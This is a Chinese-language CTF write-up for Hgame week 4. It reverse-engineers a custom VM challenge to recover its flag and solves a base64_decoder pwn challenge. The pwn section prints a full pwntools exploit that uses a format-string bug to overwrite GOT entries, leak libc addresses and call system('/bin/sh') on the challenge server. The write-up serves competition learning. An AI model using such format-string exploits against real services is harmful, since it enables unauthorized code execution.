Hgame 第四周 Writeup - oyiadin

开学了 XD 谢谢大佬们~！这个寒假是我至今学了最多姿势的一个假期~

（要是下午在动车上我做出了 pwn1，我会再补交一份包含 pwn1 的）

{ Re }

virtual_waifu [500]

拖进 IDA 读一下 `main()`：

```
  // ... ...
  run((int)&v169, (int *)&v5);  // 一番操作
  i = 0;
  while ( *((_BYTE *)&input + i) == byte_40318C[i] )  // 比对，长度 24 Bytes
  {
    if ( ++i >= 24 )
      goto LABEL_6;
  }
  printf((int)"Never Give Up\n");
LABEL_6:
  system("pause");
  return 0;
}
```

上边那一大段自然就是 VM 的数据来源了。先进去子函数捋一捋这个 VM 是怎么工作的，整理后，主要逻辑如下：

```
// m2 = malloc(256), 大致被当成一个栈来使用
case 1:
  m2[ 4 * ++ptr ] = reg2;
  break;
case 2:
  reg2 = m2[ 4 * ptr-- ];
  reg22 = reg2;
  break;
case 3:
  m2[ 4 * ++ptr ] = reg4;
  goto just_exit;
case 4:
  reg4 = m2[ 4 * ptr-- ];
  break;

case 5:
  m2[ 4 * ++ptr ] = *pdata++;
  goto just_exit;
case 6:  // 解引用得到单个字母
  m2[ 4 * ptr ] = *(m2[ 4 * ptr ]);
  goto just_exit;

case 7:
```

```
  v35 = m2[ 4 * ptr-- ];
  v36 = m2[ 4 * ptr-- ];
  *v35 = v36;
  goto LABEL_21;

case 8:
  v14 = m2[ 4 * ptr-- ];
  m2[ 4 * ptr ] += v14;
  goto LABEL_11;
case 9:
  v17 = m2[ 4 * ptr-- ];
  m2[ 4 * ptr ] -= v17;
LABEL_11:
  v40 = (m2[ 4 * ptr ] == 0);
  goto LABEL_21;
case 0xA:
  v20 = m2[ 4 * ptr-- ];
  m2[ 4 * ptr ] ^= v20;
  goto just_exit;

case 0xB:
  pdata += m2[ 4 * ptr-- ];
  goto just_exit;

case 0xC:
  v24 = m2[ 4 * ptr-- ];
  if ( flag )
    pdata += v24;
  goto just_exit;

case 0xD:
  free((void *)m2);
  free(m1);
  return 1;

case 0xE:
  v40 = ( m2[ 4 * ptr ] == m2[ 4 * (ptr-1) ] );
LABEL_21:
  flag = v40;
  goto just_exit;

case 0xF:
  m2[ 4 * ptr ] = strlen(m2[ 4 * ptr ]);
just_exit:
  reg2 = reg22;
  break;

default:
  break;
```

程序从 v169 到 v176 以 Byte 为单位读取数据，根据数据进行相应的操作。`v169 ~ v176` 相当于 `.text`，`v5 ~ v166` 相当于 `.data`。堆里的 `m2` 相当于栈，`ptr--` 跟 `ptr++` 分别对应于 `pop` 与 `push`。我将程序的流程转换成以下伪代码以便理解：

```
*++p = pop
R1 = *p
*p = strlen(p)
*++p = pop
// loop begin
*(p+1) = pop
if *p == *(p-1): jump offset *(p+1)
R2 = *p--
*++p = R1
*++p = R2
*(p-1) += *p
p--
*p = **p
*++p = pop
*++p = R2
*(p-1) -= *p
p--
*(p-1) += *p
p--
*++p = pop
*(p-1) ^= *p
p--
*++p = R1
*++p = R2
*(p-1) += *p
p--
**p = *(p-1)
p-=2
*++p = R2
*++p = pop
*(p-1) += *p
p--
R2 = *p--
*++p = R2
*++p = pop
jump offset *p--
// loop end
exit
```

然后自己在纸上划拉了大半天，直到 `0xD` 要跑路的时候才发现居然没有循环……那肯定错了呀 hhh 之后我就观察了一下对应 `.text` 的数据，发现是按周期重复的……因此，我猜想每次循环都是同样的操作，按刚才人脑运行得知的 `(dest^204)-23` 去做，发现错了。果断再动调一遍，发现了！很明显的规律！（所以我在群里说这题应该是放水了 QWQ）于是乱敲一顿 py 可得到 Flag：hgame{3z_vm_u_cr4ck5d_g00d_J0b}

```
dest = [
    0x86, 0x5C, 0xB8, 0x46, 0x4C, 0xBD, 0x4A, 0xA3,
    0xBE, 0x4C, 0x8D, 0xA3, 0xBA, 0xF3, 0xA1, 0xAB,
    0xA2, 0xFA, 0xF9, 0xA4, 0xAE, 0x80, 0xFD, 0xAE ]
d = 23

for i in range(len(dest)):
    dest[i] = chr((dest[i] ^ 204)-d)
    d-=1
print ''.join(dest)
```

{ Pwn }

base64_decoder [350]

这道题我遇到了这三个障碍：

1. 泄露不出正确的 libc 加载地址
2. 只有两次输入的机会
3. 不知道栈究竟在内存里的什么地方，无法通过 `%k$n` 来控制栈上的数据，就算知道 `system` 的地址，也不知道如何传 `/bin/sh`

后来放出的 Hint 解决了我第一个问题。对于第二个问题，我直接把 `GOT` 表里的 `exit` 给指向了原函数里 `if (!times) { ... }` 这段代码的后边，负面影响是会改变栈的深度，不过我想不到更好的方法了。而第三个问题是在看这篇文章时找到灵感的：程序调用了好几个 libc 里的函数，而有好几个函数的第一个参数是可控的，只要我修改其 `GOT` 表值使其指向 `system`，并控制其第一个参数即可。

`fmtstr` 倒不是障碍，看懂原理后我就直接用 `pwntools` 相关工具了。用 `printf` leak memory 时依旧会遇到空字符截断的问题，跟上周一样，我选择逐 Byte 拿，然后再接起来。

最终 exp 如下：

```
#coding=utf-8
from pwn import *
from base64 import b64encode as b64

conn = remote('111.230.149.72', 10013)
#conn = process('./base64_decoder')
file = ELF('./base64_decoder')

conn.sendlineafter('> ', b64('AAAA'))  # 为了保持 leak 期间 offset===12

payl = fmtstr_payload(7, {file.got['exit']: 0x80488BB})  # 跳! 给我跳! =w=
conn.sendlineafter('> ', b64(payl))

def leak(addr):
    tmp = ''
    for i in range(4):  # 对付 \x00, 逐位取
        conn.sendline(b64('@%14$sAA' + p32(addr+i)))
        conn.recvuntil('@')
        ret = conn.recvuntil('AA')
        tmp += ret[0] if ret != 'AA' else '\x00'
    return tmp
```

```
dyn = DynELF(leak, elf=ELF('./base64_decoder'))

payl = fmtstr_payload(12, {file.got['strcmp']: dyn.lookup('system', 'libc')})
conn.sendlineafter('> ', b64(payl))  # 下一次输入将直接成为 system 的参数
conn.sendlineafter('> ', '/bin/sh')  # 无需 base64

conn.interactive()
```